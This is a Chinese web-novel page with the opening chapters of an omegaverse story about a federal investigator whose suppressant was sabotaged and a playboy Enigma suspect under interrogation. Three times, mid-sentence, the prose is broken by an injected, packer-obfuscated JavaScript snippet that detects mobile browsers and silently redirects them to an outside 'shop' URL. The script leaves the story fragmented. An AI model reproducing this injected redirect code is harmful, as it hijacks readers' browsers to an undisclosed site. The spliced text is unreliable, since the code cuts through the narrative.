《顶A的抑制剂失效了》 1. 濒临失控A 雨幕笼罩着跨海大桥。密集的雨点砸在车顶和路面,溅起白茫茫的水雾。雨刷器以最高频率疯狂摆动,却依旧难以撕开模糊的视野。 一辆偷来的银色越野车如同失控的野兽,在空旷无人的海滨道路胡乱穿梭,车身时不时刮蹭两边的铁护栏,发出刺耳的金属摩擦声。 特调局的车辆在湿滑路面上艰难追击,警笛声、轮胎摩擦声、雨水撞击声交织成紧张的交响乐。 “快刹车——” 又一辆车被迫急刹,轮胎在路面擦出刺鼻的焦糊味。 通讯频道里乱成一片: “报告!目标的速度太快了!” “他往废弃的七号码头去了!” “二组跟不上,路面太滑了!” 指挥车内,与外面暴雨和通讯频道的混乱截然不同,这里像是被按下静音键。 监控屏幕的光勾勒出一个挺拔的身影。顾凛序抬手按住耳麦,黑色手套与冷白的腕部肌肤形成强烈对比。 他身穿剪裁考究的深灰色制服,肩章上的金属徽标彰显其调查官的身份。制服完美衬托出宽肩窄腰的身形,领口扣到最上方,袖口处因抬手的缘故向下落了一截,露出哑光黑色的表盘。 他的目光扫过地图,手指在其上轻轻划过,最终停在某个点上。 随后他拿起通讯器,贴近唇边,果断下令: “通知三组,在枫林南路入口制造一起‘意外’事故,设置路障,把它彻底封死。” “指挥中心,给我派一辆车,我亲自去追。” 说完,顾凛序扯下耳麦,转身推门。 腰间金属枪套撞上门框发出轻响,又瞬间被门外的狂风暴雨声吞没。 雨水劈头盖脸地砸来,他的制服一秒湿透。一辆黑色的车子停在指挥车旁,轮胎碾过积水,溅起过膝的水花。 顾凛序拉开车门,矮身钻入驾驶座,车内还残留前一位驾驶员的温度,但他清冷的薄荷味信息素很快占据了这片狭小的空间。 引擎咆哮起来,他快速挂入D挡,调整好方向盘角度,油门深踩。 轮胎在湿滑的柏油路上空转一瞬,随即猛地窜出,撕开雨幕,直扑目标消失的方向。 对讲机里传来下属的实时通报:“顾队,目标正沿滨海大道向西逃窜,时速超过一百八!” 依据下属给出的定位和实时路线,顾凛序能看见前方那个模糊的小银点。 方向盘在他手中微调,黑车在暴雨中穿行,与越野车近乎同归于尽的疯狂驾驶风格截然不同。 前方出现一个急弯,越野车速度过快,车尾差点撞上护栏,勉强拉回后,速度不得不暂时减缓。 机会来了。 顾凛序眼神一凛,方向盘切入弯心,大幅度拉近了与越野车的距离。 两车一前一后,冲入通往废弃7号码头的引桥。这里的路灯大多损坏,光线昏暗,路面堆放不少废弃的集装箱和杂物,再加上恶劣天气的衬托,环境极为复杂。 越野车凭借其高底盘和亡命之势,撞开挡路的空货箱,硬生生开出一条道路。 顾凛序驾驶的车子底盘相对较低,必须更加谨慎。他飞速扫视前方路况,规划出合适的路线。 距离在追逐中不断拉近,顾凛序现在已能清晰看到越野车碎裂的尾灯。 终于,在一个堆满废弃渔网的狭窄转弯处,越野车因杂物阻碍而速度再次稍减,顾凛序将油门一踩到底,车头右前侧狠狠撞上越野车的左后车门。 “砰!!” 越野车的车头一偏,撞向旁边垒起的橡胶轮胎堆,在巨大的惯性下又旋转了半圈,才堪堪停下,引擎盖扭曲变形,冒出阵阵白烟。 顾凛序的车头也受损严重,但他毫不在意,反正自己人没什么事,车又不是他的。 他推开车门,拔出配枪,快步逼近侧翻的越野车。 驾驶座的车门从里面踹开,一个狼狈的身影挣扎着爬了出来,正是那名逃犯。 他脸上带着擦伤,眼神惊恐而凶狠,落地后想往集装箱阴影里钻。 “站住!” 顾凛序的声音穿透哗哗雨声。 逃犯身体一僵,见自己躲不过此劫,四下快速扫了一圈,从积水中捞起一根生锈的铜棍,毫不犹豫地朝着顾凛序劈来。 在对方做出行动的同时,顾凛序也动了起来。 侧身、闪避、他的左手精准扣住对方持刀的手腕,向下一折。同时右手握着的配枪枪托向上击打在逃犯的肘关节处。 一声骨头的脆响伴随着逃犯凄厉的惨叫,铜棍“当啷”落地。 顾凛序没有给他喘息之机,将其手臂反拧到背后,膝盖顶住对方后腰,利用全身重量将其压制在布满铁锈的集装箱壁上。 逃犯徒劳地挣扎,却无法撼动分毫。雨水顺着顾凛序的黑发流过下颌,滴落在逃犯因痛苦而扭曲的脸上。 顾凛序空出一只手,正准备从腰后取出手铐,一股陌生的燥热毫无预兆地从小腹炸开,如同失控的野火般席卷四肢百骸。 那感觉来得太过突然、太过猛烈,与他平日易感期时注射抑制剂后那种稳定、可控的状态不同。 他像是被某种无形的力量抽空,随之而来的是肌肉深处传来的、违背他常年自控力的酸软。 难道是…… 顾凛序虽然不经常体验这种感觉,却对此再熟悉不过—— 这是自己信息素即将失控的征兆。 在此次行动前,自己注射的那支抑制剂有问题。 这个念头如冰锥刺入顾凛序的脑海,带来尖锐的警醒,却也让身体反应慢了致命的一瞬,原本取手铐的动作出现迟滞。 那被他压制住的逃犯抓住机会,挣脱出被钳制的力道,身体就势向地上一滚,沾满泥水的手胡乱一抓,再度捞起那根生锈铜棍。 他眼中闪烁着凶光,挥动铜棍,带着风声朝顾凛序的颈侧横扫过来。 顾凛序只得强行拧转略些滞涩的身体进行闪避,曲起左臂格挡。 铜棍重重砸在他的小臂外侧,即使隔着制服衣料,也传来一阵骨头恍若要被震裂的剧痛,冷汗混着冰凉的雨水浸透了他整个后背。 逃犯察觉到他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996119|193880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的异常虚弱,像是嗅到血腥味的鬣狗,趁机再次反扑,用尽全身力气,合身朝着顾凛序猛撞过来。 顾凛序咬紧牙关,剧痛和体内翻江倒海般的燥热双重折磨着他。他凭借烙印在骨子里的战斗本能,在对方撞来之时,脚下蹬住湿滑的地面,右手扣住对方持棍的手腕,左手擒住其另一只手臂。 两个人在泥泞的地面上陷入凶险万分的激烈角力。 然而体内的防线正迅速崩解。角力不过数息,一直被顾凛序压制在临界点的信息素彻底决堤—— 凛冽如刀锋的薄荷气息裹挟着失控的攻击性,以他为中心在冰雨中轰然炸开,连坠落的雨丝仿佛都在气息中震颤。 逃犯感受到源自生命本能的恐惧,呼吸被无形的力量扼住,只剩下最原始的战栗。 不过恐惧和窒息感到了极致,又会催生出不顾一切的疯狂。逃犯喉中迸发出一声低吼,歇斯底里地挣扎、冲撞,想逃离这令他灵魂战栗的气息源头。 顾凛序被逃犯的膝盖撞到腹部,闷哼一声,压制的力量正在飞速流失。 就在这千钧一发之际—— “顾队!” 急促的脚步声和呼喊声从身后传来。两道强光手电的光柱刺破雨幕,笼罩住尚在角力的两人。 “砰!” 一声枪响,子弹击中逃犯脚下的地面,溅起碎石和水花。 逃犯被枪声的威慑震住。两名下属如猎豹般扑上,一人干脆利落地卸掉逃犯手中的铜棍,另一人协助顾凛序将逃犯按倒在地。 手铐落锁的声音终于响起,宣告这场追捕的有惊无险。 顾凛序这才松开手,踉跄着后退半步,靠在集装箱壁上喘息。 雨水顺着他苍白的脸颊滑落,他闭了闭眼,强行压下仍在翻腾的躁动。小臂外侧还有着火辣辣的疼痛,却让他混乱的思绪清晰了不少。 赶来支援的李俊义担忧地看向靠意志力强撑着的顾凛序:“顾队,您的信息素……” 他赶紧调动起自身的信息素以抵御那股压迫感,手摸向自己的随身应急包,却摸了个空。任务紧急,他没来得及携带备用的抑制剂。 他的双胞胎哥哥李俊荣上前一步说:“顾队,我们回去就查今天送来的这批抑制剂。” 联邦特调局明文规定,调查员执行外勤任务期间,如果遇上易感期,必须统一使用局内配发的抑制剂。 顾凛序一直以来都严格遵守规定,从未出过岔子,偏偏在这次任务中,他的抑制剂竟离奇失效。 这绝不是意外,背后必然有人做了手脚。 顾凛序此刻说不出来话,只做了一个手势,示意自己暂时无碍。 他深吸一口混杂着雨水和铁锈味的空气,逼迫自己混乱的感官重新聚焦。 湿透的制服紧贴着挺拔的脊背,尽管他的脸色苍白,但那双深邃的眼眸已然恢复惯有的冷静,锐利如初。 “没事,”他的声音因极力的克制而显得低哑,“控制住目标,清理现场。” 短暂的停顿后,他下达了最终指令: “收队。” 2. 只知享乐E 收队后,因身体状况异常,顾凛序少有地没有参与后续审讯,而是直接向上级汇报情况,并申请返家。 回到家中,他立即注射家里常备的抑制剂。针剂推入体内,预期的舒缓感却迟迟未至,那股躁动只是被稍稍压制,旋即又以更猛烈的态势反扑。 他靠在沙发里,顾不上擦掉额角渗出的冷汗——自己备的抑制剂绝无问题,那么唯一的解释,就是行动前注射的那支被动过手脚的抑制剂不仅未能压制易感期,反而破坏了身体对常规抑制剂的接受度。 ……这个夜晚格外漫长。 易感期的煎熬被无限放大,每一寸皮肤都像在被火焰灼烧,神经末梢过度敏感,连衣料的轻微摩擦都带来难耐的刺痛。 意识在清醒与模糊间徘徊,理智与本能激烈拉锯。顾凛序一夜未眠,凌晨三四点便驱车返回特调局,成为特调局第一个上班的人。 李俊义和李俊荣在他的办公室等候。他们倒不是来得比顾凛序还早,而是负责审问逃犯,彻夜未归。 李俊义快步迎上:“顾队,杨医生的初步检测结果出来了。那支抑制剂里混入了‘静默剂’。” “这种物质本身对身体无害,但会与其他抑制剂的主要成分发生冲突,使其失效。目前没有特效对抗剂,您的易感期……怕是只能硬熬过去了。” 他看着顾凛序,眼前的顾队除了脸色比平日苍白些,眼神依旧沉静,姿态依旧挺拔,若非那周身处于易感期的薄荷味信息素,几乎看不出对方正承受着巨大的痛苦。 顾凛序越是如此平静,越让人清楚他此刻正在经历怎样的煎熬。 “先不用管我,”顾凛序捏了捏眉心,“昨天那个逃犯审出结果了吗?” “交代了,”李俊荣递上报告,“他叫王海昌,是‘速风物流’的高级调度主管,承认利用职务便利,走私未经申报的稀有药物材料。” 速风物流是联邦内规模名列前茅的物流企业,与特调局在多个合法项目上存在长期合作关系。 顾凛序将报告快速浏览一遍:“既然罪名明确,涉案公司又涉及合作方,后续量刑和移交程序,就交由司法协调处跟进处理吧。” 李俊荣欲言又止:“顾队,还有一件事。” 顾凛序抬眸:“说。” 李俊荣低声汇报:“王海昌还交代了一件事,与药物走私案本身无关,是关于您那支被动手脚的抑制剂来源的。” 顾凛序面容变得严肃:“是他动的手脚?” “不,不是他。他提供了另外一个关键线索,”李俊荣说明情况,“虽然现在我们还在核实他提供的线索,但根据速风物流的运输记录和内部流程,我们合理推断,有机会、也有动机在这批抑制剂上做文章的,极有可能是‘穹星生物’。” 和速风物流一样,穹星生物也是与联邦特调局深度绑定的长期合作方,他们独家负责为联邦特调局提供特制的军用级抑制剂。 这种抑制剂效力强劲,效果远超市面流通的抑制剂和临时标记,这也是为何联邦特调局硬性规定,所有调查员在外勤任务期间若遇上易感期,必须统一使用该款抑制剂的原因。 李俊荣补充细节:“王海昌还负责军用抑制剂从穹星生物到局里的运输对接。他提到,您使用的这一批次抑制剂,从穹星生物出货的时间比原定计划晚了一天。” “但因为同城运输,距离较近,且速风物流预留了缓冲时间没有耽误配送,所以王海昌当时只是觉得怪异,碍于长期合作关系没有深究。” “穹星生物……”顾凛序将这个名字念了一遍,“穹星生物这边,具体是谁负责军用抑制剂与速风物流的对接环节?” 李俊义冷笑一声,语气里带着毫不掩饰的轻蔑:“顾队,老熟人,就是那个仗着家世横行霸道的Enigma晏昭野!” “晏昭野?”顾凛序眉梢一挑,“好久没听到这个名字了。” 严格来讲,晏昭野并不是他的“老熟人”,他们两个都谈不上认识,顾凛序只是听说过这个名字和这个人的“光辉事迹”而已。 晏昭野是穹星生物现任董事长晏川柏的独子。晏家世代高阶Alpha基因遗传,在联邦的生物科技领域深耕多年,底蕴深厚。 到了晏昭野这一代,更是意外地诞生了这么一个极其罕见的Enigma,这无疑被晏川柏视作家族更进一步的希望。 加之晏昭野的母亲早逝,晏川柏将对亡妻的思念与对家族未来的期盼全部倾注在独子身上,呕心沥血,悉心栽培,只盼望这根独苗能长成参天大树,支撑起晏家和穹星生物的将来。 然而事与愿违,这棵被寄予厚望的“大树”长歪了。晏昭野并未如他父亲所希望的那般,成为继承穹星生物的精英典范,反而成了上流社会圈子里远近闻名的纨绔子弟。 他挥金如土,花钱对于他来说如同呼吸般自然,流连于各大夜店酒吧,热衷于烈酒与震耳欲聋的音乐,信息素就是威士忌的酒香。 不过,与其他劣迹斑斑的纨绔相比,他倒也勉强算得上“有底线”——不参加违法的活动,也从不对Omega做出格调戏之举,是一个沉浸于自我享乐、对社会基本无害的“安乐公”。 他平日里如何挥霍、如何给晏川柏和穹星生物招惹些不大不小的麻烦暂且不提,真正让晏昭野“名声大噪”的事件,是他在去年于公共场合,当众对顾凛序出言不逊,言语间充满轻蔑,大有不将这位功勋卓著的顾调查官放在眼里的架势。 他这一下子无异于捅了马蜂窝——顾凛序因为具有顶级的Alpha基因、屡破奇案的工作能力、无可挑剔的功勋记录,再加上极为出众的容貌,早已被联邦民众誉为“联邦之盾”,是无数人崇敬的偶像。 所以这一幕被在场的人录下并传到了网上。录音迅速发酵,一下子让这个纨绔的Enigma冲出上流社会圈子“一炮而红”,到了全联邦无人不识、无人不晓的地步。 据说晏川柏得知此事后,惊怒交加,气得差点吐血,完全顾不得自己身为穹星生物董事长的身份和形象,骂骂咧咧地脱下皮鞋就要揍这个不肖子,任旁边人怎么拦着都不管用。 随后几天,晏川 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996120|193880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柏不眠不休,亲自将晏昭野从小到大的身份信息、成长经历、海外留学记录等所有能证明其清白的材料整理成厚厚一摞证明文件,紧急提交给联邦特调局,竭力表明自己的儿子只是“年少轻狂”、“有眼无珠”,绝无任何受境外势力蛊惑或针对联邦的恶意。 联邦特调局后续介入调查,证实这确实是一场源于酒后失态的口舌之争,并非预谋或带有政治目的。 晏昭野后来态度诚恳地公开道歉,顾凛序也无意与这样一个被惯坏了的纨绔子弟过多计较,所以此事最终并未对晏昭野造成法律或实质性的职业影响,只是让他那本就狼藉的名声更加不堪,以及结结实实地挨了顿老父亲的暴揍。 自那场风波之后,晏昭野收敛了许多,不再像过去那般张扬高调,也渐渐淡出公众视野。如果不是今日再次听闻这个名字,顾凛序都快要忘记还有这么一号人。 顾凛序蹙眉:“他以什么身份负责这个项目?” 在他的印象里,晏昭野与“负责”二字难以关联。 李俊荣猜测:“穹星生物与特调局合作多年,供应链从未出过差错。晏川柏或许也是想借此机会,让晏昭野在重要项目中挂职历练,积累一些正经的资历和名声,为日后接手家业做些铺垫。” “切,烂泥扶不上墙,”李俊义语带讥讽,“只怕是挂个名头混日子,正经事半点不干,净添乱。” 顾凛序略一沉吟,不再纠结于晏昭野本人,下达指令:“按程序办事。向张局提交报告吧,申请启动内部调查程序,重点核查晏昭野在穹星生物近期的履职情况,以及该批次抑制剂的生产、质检和流出记录。” “是!” 李俊义和李俊荣齐声应道,离开办公室,前去办理相关手续。 办公室内只剩下顾凛序一人。桌面上有大半杯昨天剩下的、早已凉透的水。顾凛序伸手捞起杯子,冰冷的液体从头顶浇下。 水流浸湿了他的黑发,顺着棱角分明的下颌线淌下,流进制服衬衫的领口。 冷意让他激灵了一下,滚烫的皮肤得到了片刻的、极其有限的舒缓。 顾凛序尽可能忽略体内翻涌的不适感,鬼使神差地摸出手机,指尖在屏幕上滑动,点开了那段存储在手机里、曾经在网上疯传的录音——正是晏昭野对他出言不逊的“罪证”。 录音只有音频,没有画面。背景嘈杂喧闹,混合着震耳的音乐底噪、远处的谈笑和杯盏碰撞声,应该是在某个酒吧或者类似的娱乐场所。 起初,有一个声音由远及近,前半段话语淹没在噪音里,直到靠近录音设备,才勉强听清零星几个字眼,能听到四个字“……联邦之盾……”。 紧接着,一个带着明显醉意、张扬又懒散的声音清晰地响起,属于晏昭野: “就他还联邦之盾?呵呵,那我还是希望之火呢。” 话音落下,周围爆发出一阵附和般的、哄闹的笑声,是围绕在他身边的狐朋狗友在捧场。 再之后,录音变得模糊不清,大概是录制者移开了设备,录音也很快在一片杂音中结束。 3. 眼尾泛红A 整段录音不足一分钟,却在去年那段时间被疯狂传播,将晏昭野推向风口浪尖。 晏昭野曾通过穹星生物的官方账号发布公开道歉视频,但顾凛序并未做出任何回应。这并非因为他心存芥蒂或对此事耿耿于怀,纯粹是源于分身乏术。 他日常的工作日程早已被各种要案重案和外勤任务挤占得满满当当,如果连这种口舌之争都要亲自回应,哪里还有时间和精力去担当起“联邦之盾”的真正职责? 那段不足一分钟的录音,其真实性、语境都存疑,顾凛序没有将其放在心上。 更何况,一个Enigma,天生在体质、能力等各方面就优于Alpha,晏昭野说那句“呵呵”的时候年仅24岁,正是血气方刚、锋芒毕露的年纪。年轻人因自身优越条件而说话轻狂些,顾凛序倒也不是不能理解。 他虽然没有公开回应晏昭野的道歉,但后来在行程间隙,抽空点开了那段五分钟的道歉视频。 视频中的年轻人看不出被晏川柏按头道歉的不情愿,至少表面上是如此。他没有拿稿子,直接面对镜头发挥,眼神专注,语气诚恳。 视频画面清晰地呈现出晏昭野的外貌:他的眉骨生得高,衬得一双眼睛很是深邃;眼尾微微上挑,即使是在表达歉意时,那双眼睛里也藏着一丝不易驯服的野性,像极了在北方极寒中磨砺出的狼崽子,收敛了利齿,骨子里的桀骜却从未褪去。 相比起顾凛序那种经过千锤百炼的、冷硬而沉稳的气质,晏昭野身上散发着一种原始、张扬,甚至带着点攻击性的魅力。 当时顾凛序快进着看完视频,道歉的内容左耳进右耳出,只留下一个念头:这样的资质,不进特调局真是可惜了。 但这个念头也只是一闪而过。他清楚晏川柏把独子看得多紧,即便是万里挑一的Enigma,这位董事长也绝不可能放晏昭野来涉险。 关掉录音,顾凛序尝试将注意力放回堆积如山的卷宗上。然而易感期的燥热如同无形的蛛网缠绕着他的神经,平日里效率很高的大脑像是生锈的齿轮,每一次思考都伴随着滞涩和刺痛。 他放下笔,按了按突突直跳的太阳穴,放弃了这徒劳的努力,靠在椅背上,闭眼静静等待天明。 当天边泛起第一抹鱼肚白,特调局内开始有了零星的人声,顾凛序便起身前往医疗部门。 杨雪蚕医生并非联邦特调局的正式雇员,而是局里特聘的外部医学专家。原本她只需定期坐诊,但由于顾凛序昨晚出现的特殊状况,她今天也会按照编内人员的上班时间来到特调局。 听到顾凛序敲门的动静,杨雪蚕拉开门,戏谑道: “哟,顾队今天这模样可真是难得一见。联邦之盾眼尾泛红的样子要是拍成照片传出去,不知道得迷死多少Omega。” 顾凛序无视了她的调侃,开门见山地问:“我这次的易感期预计会持续几天?在缺乏有效抑制剂的情况下,还有什么替代方案可以缓解症状?” 杨雪蚕淡去玩笑的神色,遗憾地摇头:“具体持续时间我也说不准,等你有空来我这里做个体检,不过我想应该和平常易感期的时间差不多?” “至于缓解方法……很遗憾,目前针对静默剂的影响,在我知道的范围内,没有任何有效的干预手段。” 为了便于顾凛序理解,她打了一个比方:“它就像是给你的信息素系统加了一把特殊的锁,现有的药物都打不开。” 连杨雪蚕都说没有办法,那基本上就是无计可施了。以往除了体检等特殊需要外,这还是顾凛序第一次真正意义上不靠抑制剂的帮助度过易感期,体内翻江倒海的空虚感无时无刻不在挑战着他的意志极限。 偏偏杨雪蚕又往他心里扎了一句:“顾队,还有一个更糟糕的消息。静默剂这种物质性质很特殊,它很难通过人体自身的新陈代谢完全清除干净,这意味着它的影响可能是长期的。” “长期?”顾凛序难以置信,“你的意思是,我以后每一个易感期,都需要这样硬扛过去?” “可以这么理解,”杨雪蚕尽力让自己的语气轻松一些,却效果不佳,“倒也不至于一辈子这么夸张,根据目前的代谢模型推测,其影响大概会持续十五年到二十年吧。” “当然,社会在发展,科学在进步,也许用不了几年,就能研发出可以中和静默剂的特效药了呢。” 顾凛序沉默片刻,淡淡地吐出几个字:“……但愿我能活到那个时候吧。” “哎呀,说什么丧气话,”杨雪蚕稍作停顿,试探性地问,“实在难受的话,要不要拜托一位Omega临时标记?虽然治标不治本,但至少能缓解当下的症状。” 顾凛序斩钉截铁地拒绝:“不用,外人我不信任。” 杨雪蚕问:“特调局内部的Omega同事也不可以吗?” 顾凛序犹豫一瞬,说道:“实话告诉你吧,近期特调局内部清查,疑似发现一个内鬼,但还不能确定是谁。” “你是局外人,具体细节我不便透露,但你心里有个数,目前在特调局不要轻易相信任何人,除了我和张局。” “我如今这个状态弱点太过明显了,一旦泄露出去,后果不堪设想。” 杨雪蚕脸上掠过惊讶,很快消化了这件事:“明白了,你放心,我绝不会向外透露半个字。” “有没有强效的镇定剂?”顾凛序退而求其次,“我先暂时压制一下,现在这样太影响工作效率了。” 杨雪蚕不赞同地说:“有是有,但我不建议使用。偶尔用一两次还行,频繁使用会产生依赖性,对神经系统造成负担,影响你的判断力和反应速度。顾队,还是不要挑战自己身体的极限为好。” 顾凛序没再坚持,但眼底能看出掩饰不住的烦躁。 杨雪蚕将他的样子看在眼里,急在心里:“对了,我前一阵子听说,穹星生物正在着手研究静默剂的中和剂。我回头就联系他们,看看有没有合作的可能,或者我以个人身份加入他们的研究团队。” “穹星生物?”顾凛序在一天之内第二次听到这个名字。 “对,”杨雪蚕点了点头,“静默剂这种偏门的东西,也就只有他们财大气粗又有技术储备的企业,才愿意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996121|193880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 投入资源和金钱,去研究这种短期内看不到回报的项目。” 她见顾凛序神色凝重,误以为他是不信任穹星生物:“你放心,他们的保密级别很高。而且他们不是一直为特调局提供军用抑制剂吗?从合作记录来看,是值得信任的。” 听到“穹星生物”和“值得信任”被放在一起,顾凛序联想到李氏双胞胎早上汇报的内容,心底不由得打了个问号。 但他并未向杨雪蚕透露特调局内部调查的事情,只是不动声色地提醒:“合作可以谈,但还是保持谨慎。如果条件不合适,不必强求。” 杨雪蚕爽快应下:“放心,我有分寸。” 她看了一眼时间:“一大早就往我这里跑,还没吃早饭吧?赶紧去食堂垫垫肚子。” “好。”顾凛序从昨晚熬到现在,不仅粒米未进,连水都没喝几口,经她这么一提,空荡的胃部传来了阵阵饥饿感。 吃完早饭后,被抑制剂紊乱加剧的易感期症状便如同潮水般再次涌上。 顾凛序勉强处理了几件紧急公务,不得不再次向上面递交了临时休假申请,返回家中。 他回家补了一觉,但睡眠极不安稳,身体深处的不适像是文火慢炖,让他辗转反侧,时睡时醒。 下午四点多,一阵急促的手机铃声将他彻底唤醒。 顾凛序摸索着抓过手机,贴在耳边:“喂?” 电话那头传来李俊义急促的声音:“顾队,您现在得来局里一趟。关于晏昭野的内部调查有初步结果了。” 顾凛序坐起身:“我马上到。” 他以最快速度赶到特调局,李俊义在门口迎了上来:“顾队,晏昭野有很大问题。” “根据穹星生物内部人员的证词,确认是晏昭野利用职权,故意将那批军用抑制剂扣留了一天,才送往速风物流。” “更重要的是,在这批抑制剂的生产制作期间,晏昭野曾亲自参与部分流程,并有记录显示,他以研发测试为由,调取了包括静默剂在内的数种特殊原料,调取记录上有他的电子签名。” 见证据链条已然指向晏昭野,顾凛序问:“晏昭野人在哪里?” 李俊义答:“已经控制起来了,正在一号审讯室问话。我这就带您过去。” 顾凛序跟随李俊义来到观察室。 单向玻璃之后,晏昭野被限制在审讯椅上,李俊荣和另一名记录员坐在他对面。 隔着一层玻璃,没有了手机屏幕的阻隔,顾凛序更直观地看到这个年轻的Enigma。 相比起一年前道歉视频里那个略显张扬的模样,如今的晏昭野看起来成熟了不少,穿着简单的深色衬衫,袖子随意挽到手肘,露出结实的小臂线条。 即便身处被审讯的劣势位置,他坐在那里,仍能让周围人感受到独属于Enigma的、不容忽视的存在感。 顾凛序心中涌起惋惜。如果晏昭野能收敛心性,不走歧路,以他的资质和家世背景,无论放在哪里,都本该是极出色的人才。 ……金子在哪里都能发光。只可惜,晏昭野不想让自己成为金子。 4. 委屈喊冤E 审讯室内,晏昭野正扬着下巴,对着李俊荣他们喊冤。 他的声音透过传声器传出来,带着点被冤枉的愤懑,活像一只被关进笼子还不安分、使劲嗷嗷叫唤的狼崽子: “苍天呐,大地呐!我冤枉啊!我一个遵纪守法、按时纳税的优秀公民,怎么可能干这种危害联邦安全的事?我图什么啊我?” “钱?我家不缺。名?我在外面也没什么好名声。你们去年就邀请我来特调局参观过一回了,这破椅子坐得我屁股疼,空调温度开这么低,真没什么好惦记的。” 一提起去年的事情,李俊荣就来气:“那算哪门子邀请?去年明明是找你过来配合我们调查!” “哎呀,”晏昭野驴唇不对马嘴地说,“积极配合特调局的工作,是我身为联邦优秀公民应尽的义务。” 李俊荣懒得和他掰扯:“电子签名记录显示你调取了静默剂。这你怎么解释?” 晏昭野喊冤:“长官,那绝对不是我干的,肯定是有人盗用了我的权限,拿到了我的电子签名。我被人坑了,长官,你们得明察秋毫啊!” 李俊荣又问:“那故意扣留军用抑制剂一天,也是别人盗用你权限做的?” 提到这个,晏昭野的气势弱了一点,但嘴皮子依旧利索:“我那不叫扣留,我那叫……叫谨慎检查,检查!真的真的。” “长官,您想啊,我老爸第一次把这么重要的任务交到我手上,我能不郑重对待吗?我那是战战兢兢、如履薄冰、辗转反侧、夜不能寐啊,就怕出一丁点差错,给我爸、给穹星生物抹黑。” “晏昭野,注意你的态度。严肃点!”李俊荣打断他的即兴发挥。 “是是是,我严肃,”晏昭野缩了缩脖子,“长官,我承认延迟发货是我做的,但我那就是因为太紧张、太重视了,所以我足足检查了一整天。” “每一箱抑制剂我都亲手摸过、检查过,上面都留着我的指纹。你们要是不信,可以现在就去查嘛。” 李俊荣看着他,没有说什么,但眼神明确写着“不信”两个字。 紧张、谨慎这种词语,放在晏昭野身上本身就极其缺乏说服力。即便他说的是真的,那些抑制剂已被分发使用,指纹早就被无数人覆盖,根本无从查证。 更让晏昭野嫌疑加重的是,特调局今天紧急召回并检测了同批次已发放的抑制剂,以及对所有使用这批抑制剂的人进行身体检查,结果发现,只有为顾凛序准备的那一支被混入静默剂,其他人的均无问题。 李俊荣厉声道:“晏昭野!你故意扣留、违规接触军用物资,严重违反了《联邦特殊药剂管制条例》第七章第十二条!你这是危害公共安全,是要上军事法庭的重罪!” 晏昭野瞪大眼睛:“我就是检查个抑制剂,又犯哪门子天条了?等等……” 狼崽子捕捉到关键信息,眼睛滴溜溜一转:“难道那批抑制剂里混进了不该有的东西?静默剂?你们特调局有人中招了?” 李俊荣板起脸呵斥:“别瞎猜!这不是你该问的!” 晏昭野是纨绔,但不是傻子。他点到即止,做了个投降的姿势:“好的长官,我不问了,道上规矩我都懂。” 李俊荣强压怒火,回到正题:“你口口声声说是有人坑你,盗用你的电子签名。那你有怀疑对象,或者能证明你清白的证据吗?” “没有,”晏昭野露出一副欠揍的样子,“长官您也知道,我这个人吧,朋友多,得罪的人估计也不在少数。” “正所谓‘人在江湖飘,哪能不挨刀’,他们看我长得帅、家世好、还是Enigma,心里难免不平衡,想搞我很正常嘛。” 他那副痞帅又自恋的模样,配上这吊儿郎当的语气,让单向玻璃外一个年轻女文员没忍住,“扑哧”一声笑了出来。 顾凛序侧头瞥了她一眼,脸上没什么表情。 小姑娘吓得瞬间噤声,羞愧地低下头,不敢再发出半点动静。 审讯室内的李俊荣火冒三丈:“晏昭野!你给我严肃点!这里是联邦特调局,不是你花天酒地的酒吧!” 晏昭野的语气委屈极了:“我说的是事实啊,长官!看我不顺眼的人就是多啊,要不然去年我怎么就在酒吧喝点小酒,随口说了两句话,就被人录下来发到网上?” 再次提起这件让顾凛序受辱、让他们这些忠实下属无比愤慨的旧事,李俊荣的怒火彻底被点燃。 新仇旧恨涌上心头,他指着晏昭野的鼻子,怒骂道:“你还有脸提?!顾队也是你能随意侮辱的?!” “你这种仗着家世胡作非为、目无法纪的纨绔子弟,除了会投胎还有个屁本事!连给顾队提鞋都不配!除了吃喝玩乐、惹是生非,你还会干什么?我看你就是欠收拾!” 一旁的记录员按下他青筋暴起的手臂:“荣哥,冷静点,注意纪律。” 李俊荣怒哼一声,抱着胳膊看向别处。 或许是被李俊荣的怒骂震住,或许是迫于审讯室的低压,又或许是真心愧疚,晏昭野突然收敛了吊儿郎当的模样。 他耷拉下脑袋,黑发垂在额前:“对不起长官,我刚才不该嬉皮笑脸的。去年那件事我真的知道错了。” 他眼神里没了惯有的玩世不恭,只剩下满满的诚恳:“真的,我后来就把酒戒了,酒吧也基本不去了。有时候实在馋得慌,就……自己放点信息素闻闻味,解解馋。” 